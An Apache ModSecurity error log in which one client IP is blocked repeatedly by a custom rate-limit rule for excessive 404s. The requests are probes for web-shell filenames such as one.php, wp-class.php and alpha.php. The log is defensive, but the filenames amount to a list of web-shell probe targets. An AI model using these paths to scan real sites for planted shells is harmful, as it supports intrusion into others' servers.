[Thu May 07 00:32:46.373087 2026] [:error] [pid 9664:tid 9772] [client 20.104.207.18:27444] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afttLgH4OZbrg1SjsBNpHAAAAIo"]
[Thu May 07 00:32:46.854227 2026] [:error] [pid 9664:tid 9773] [client 20.104.207.18:27507] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afttLgH4OZbrg1SjsBNpHgAAAIs"]
[Thu May 07 00:32:47.324438 2026] [:error] [pid 9653:tid 9707] [client 20.104.207.18:27491] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afttL6hJ49Xc4dqq0B5ZLQAAAAk"]
[Thu May 07 00:32:47.791025 2026] [:error] [pid 482:tid 484] [client 20.104.207.18:27397] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "afttL8xs8HOc_nWgOW6JGwAAAcA"]
[Thu May 07 00:32:48.268319 2026] [:error] [pid 9789:tid 9812] [client 20.104.207.18:27394] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "afttMD_YStPJSCHPkUXD2AAAAFU"]
[Thu May 07 00:32:48.756693 2026] [:error] [pid 9789:tid 9799] [client 20.104.207.18:27658] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "afttMD_YStPJSCHPkUXD2QAAAEg"]
[Thu May 07 00:32:49.237008 2026] [:error] [pid 9659:tid 9738] [client 20.104.207.18:27567] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/press.php"] [unique_id "afttMfwJnWjd8JHpBtuswwAAAMQ"]
[Thu May 07 00:32:49.654248 2026] [:error] [pid 13414:tid 13428] [client 20.104.207.18:27417] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "afttMUuJQpWjVpJTu_k1ZAAAAQw"]
[Thu May 07 00:32:50.071457 2026] [:error] [pid 13414:tid 13440] [client 20.104.207.18:27423] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "afttMkuJQpWjVpJTu_k1ZQAAARg"]
[Thu May 07 00:32:50.490707 2026] [:error] [pid 9659:tid 9756] [client 20.104.207.18:27511] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "afttMvwJnWjd8JHpBtusxAAAANY"]
[Thu May 07 00:32:50.909527 2026] [:error] [pid 9659:tid 9740] [client 20.104.207.18:27550] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "afttMvwJnWjd8JHpBtusxgAAAMY"]
[Thu May 07 00:32:51.341590 2026] [:error] [pid 592:tid 622] [client 20.104.207.18:27502] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "afttM5iX28mb6xLi2PzBigAAApc"]
[Thu May 07 00:32:51.766348 2026] [:error] [pid 13443:tid 13447] [client 20.104.207.18:27562] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "afttMwCyfZallDmsQretRQAAAUI"]
[Thu May 07 00:32:52.185012 2026] [:error] [pid 482:tid 496] [client 20.104.207.18:27501] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "afttNMxs8HOc_nWgOW6JHgAAAcw"]
[Thu May 07 00:32:52.605051 2026] [:error] [pid 13443:tid 13449] [client 20.104.207.18:27573] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "afttNACyfZallDmsQretRwAAAUQ"]
[Thu May 07 00:32:53.049829 2026] [:error] [pid 9664:tid 9778] [client 20.104.207.18:27701] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "afttNQH4OZbrg1SjsBNpIgAAAJA"]
[Thu May 07 00:32:53.488266 2026] [:error] [pid 9659:tid 9749] [client 20.104.207.18:27524] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "afttNfwJnWjd8JHpBtusyQAAAM8"]
[Thu May 07 00:32:53.981855 2026] [:error] [pid 592:tid 610] [client 20.104.207.18:27464] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "afttNZiX28mb6xLi2PzBiwAAAo4"]
[Thu May 07 00:33:06.309823 2026] [:error] [pid 9659:tid 9746] [client 20.104.207.18:27468] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "afttQvwJnWjd8JHpBtus5AAAAMw"]
[Thu May 07 00:33:06.748497 2026] [:error] [pid 9789:tid 9801] [client 20.104.207.18:27528] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "afttQj_YStPJSCHPkUXD7gAAAEo"]
[Thu May 07 00:33:07.225958 2026] [:error] [pid 482:tid 497] [client 20.104.207.18:27473] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "afttQ8xs8HOc_nWgOW6JKAAAAc0"]
[Thu May 07 00:33:07.649661 2026] [:error] [pid 9653:tid 9706] [client 20.104.207.18:27534] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "afttQ6hJ49Xc4dqq0B5ZOAAAAAg"]
[Thu May 07 00:33:08.069871 2026] [:error] [pid 482:tid 503] [client 20.104.207.18:27407] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "afttRMxs8HOc_nWgOW6JLAAAAdM"]
[Thu May 07 00:33:08.506118 2026] [:error] [pid 9653:tid 9699] [client 20.104.207.18:27547] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "afttRKhJ49Xc4dqq0B5ZOgAAAAE"]
[Thu May 07 00:33:08.932656 2026] [:error] [pid 13414:tid 13428] [client 20.104.207.18:27647] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "afttREuJQpWjVpJTu_k1awAAAQw"]
[Thu May 07 00:33:09.361937 2026] [:error] [pid 9653:tid 9700] [client 20.104.207.18:27419] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "afttRahJ49Xc4dqq0B5ZPwAAAAI"]
[Thu May 07 00:33:09.806139 2026] [:error] [pid 9653:tid 9721] [client 20.104.207.18:27724] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "afttRahJ49Xc4dqq0B5ZQAAAABc"]
[Thu May 07 00:33:10.231714 2026] [:error] [pid 482:tid 486] [client 20.104.207.18:27330] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "afttRsxs8HOc_nWgOW6JLwAAAcI"]
[Thu May 07 00:33:10.650617 2026] [:error] [pid 482:tid 485] [client 20.104.207.18:27459] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "afttRsxs8HOc_nWgOW6JMQAAAcE"]
[Thu May 07 00:33:11.075763 2026] [:error] [pid 482:tid 495] [client 20.104.207.18:27410] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "afttR8xs8HOc_nWgOW6JMwAAAcs"]
[Thu May 07 00:33:11.508983 2026] [:error] [pid 9653:tid 9720] [client 20.104.207.18:27487] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "afttR6hJ49Xc4dqq0B5ZRQAAABY"]
[Thu May 07 00:33:11.949971 2026] [:error] [pid 9653:tid 9718] [client 20.104.207.18:27469] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "afttR6hJ49Xc4dqq0B5ZRwAAABQ"]
[Thu May 07 00:33:12.369743 2026] [:error] [pid 9653:tid 9714] [client 20.104.207.18:27413] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "afttSKhJ49Xc4dqq0B5ZSQAAABA"]
[Thu May 07 00:33:12.818582 2026] [:error] [pid 13414:tid 13436] [client 20.104.207.18:27499] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "afttSEuJQpWjVpJTu_k1bgAAARQ"]
[Thu May 07 00:33:13.235750 2026] [:error] [pid 557:tid 575] [client 20.104.207.18:27481] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "afttSTZjFR8Vd8ce80A7uQAAAlA"]
[Thu May 07 00:33:13.666455 2026] [:error] [pid 9659:tid 9744] [client 20.104.207.18:27630] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "afttSfwJnWjd8JHpBtus6AAAAMo"]
[Thu May 07 00:33:14.100260 2026] [:error] [pid 557:tid 581] [client 20.104.207.18:27574] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "afttSjZjFR8Vd8ce80A7uwAAAlY"]
[Thu May 07 00:33:14.515360 2026] [:error] [pid 557:tid 564] [client 20.104.207.18:27516] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "afttSjZjFR8Vd8ce80A7vQAAAkU"]
[Thu May 07 00:33:14.937583 2026] [:error] [pid 13443:tid 13446] [client 20.104.207.18:27566] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "afttSgCyfZallDmsQretUAAAAUE"]
[Thu May 07 00:33:15.354695 2026] [:error] [pid 9664:tid 9777] [client 20.104.207.18:27456] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "afttSwH4OZbrg1SjsBNpOQAAAI8"]
[Thu May 07 00:33:15.833671 2026] [:error] [pid 9664:tid 9775] [client 20.104.207.18:27539] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "afttSwH4OZbrg1SjsBNpOwAAAI0"]
[Thu May 07 00:33:16.250550 2026] [:error] [pid 13414:tid 13431] [client 20.104.207.18:27514] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "afttTEuJQpWjVpJTu_k1cAAAAQ8"]
[Thu May 07 00:33:16.666787 2026] [:error] [pid 557:tid 565] [client 20.104.207.18:27583] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "afttTDZjFR8Vd8ce80A7vgAAAkY"]
[Thu May 07 00:33:17.085478 2026] [:error] [pid 557:tid 571] [client 20.104.207.18:27343] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "afttTTZjFR8Vd8ce80A7vwAAAkw"]
[Thu May 07 00:33:17.508600 2026] [:error] [pid 9659:tid 9740] [client 20.104.207.18:27492] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "afttTfwJnWjd8JHpBtus6wAAAMY"]
[Thu May 07 00:33:17.930472 2026] [:error] [pid 13414:tid 13417] [client 20.104.207.18:27589] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "afttTUuJQpWjVpJTu_k1cwAAAQE"]
[Thu May 07 00:33:18.357850 2026] [:error] [pid 9789:tid 9805] [client 20.104.207.18:27339] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "afttTj_YStPJSCHPkUXD8QAAAE4"]
[Thu May 07 00:33:18.781815 2026] [:error] [pid 482:tid 500] [client 20.104.207.18:27466] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "afttTsxs8HOc_nWgOW6JNgAAAdA"]
[Thu May 07 00:33:19.279866 2026] [:error] [pid 9789:tid 9794] [client 20.104.207.18:27486] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "afttTz_YStPJSCHPkUXD8gAAAEM"]
[Thu May 07 00:33:19.712869 2026] [:error] [pid 482:tid 485] [client 20.104.207.18:27549] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "afttT8xs8HOc_nWgOW6JOgAAAcE"]
[Thu May 07 00:33:20.169930 2026] [:error] [pid 9664:tid 9762] [client 20.104.207.18:27628] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "afttUAH4OZbrg1SjsBNpPgAAAIA"]
[Thu May 07 00:33:20.631154 2026] [:error] [pid 9789:tid 9792] [client 20.104.207.18:27412] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "afttUD_YStPJSCHPkUXD8wAAAEE"]
[Thu May 07 00:33:21.050043 2026] [:error] [pid 13414:tid 13416] [client 20.104.207.18:27645] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "afttUUuJQpWjVpJTu_k1dQAAAQA"]
[Thu May 07 00:33:21.481337 2026] [:error] [pid 13443:tid 13445] [client 20.104.207.18:27736] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "afttUQCyfZallDmsQretVQAAAUA"]
[Thu May 07 00:33:21.903472 2026] [:error] [pid 9664:tid 9766] [client 20.104.207.18:27557] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "afttUQH4OZbrg1SjsBNpQQAAAIQ"]
[Thu May 07 00:33:22.323590 2026] [:error] [pid 13414:tid 13435] [client 20.104.207.18:27496] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "afttUkuJQpWjVpJTu_k1dgAAARM"]
[Thu May 07 00:33:22.785315 2026] [:error] [pid 9653:tid 9703] [client 20.104.207.18:27480] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "afttUqhJ49Xc4dqq0B5ZUQAAAAU"]
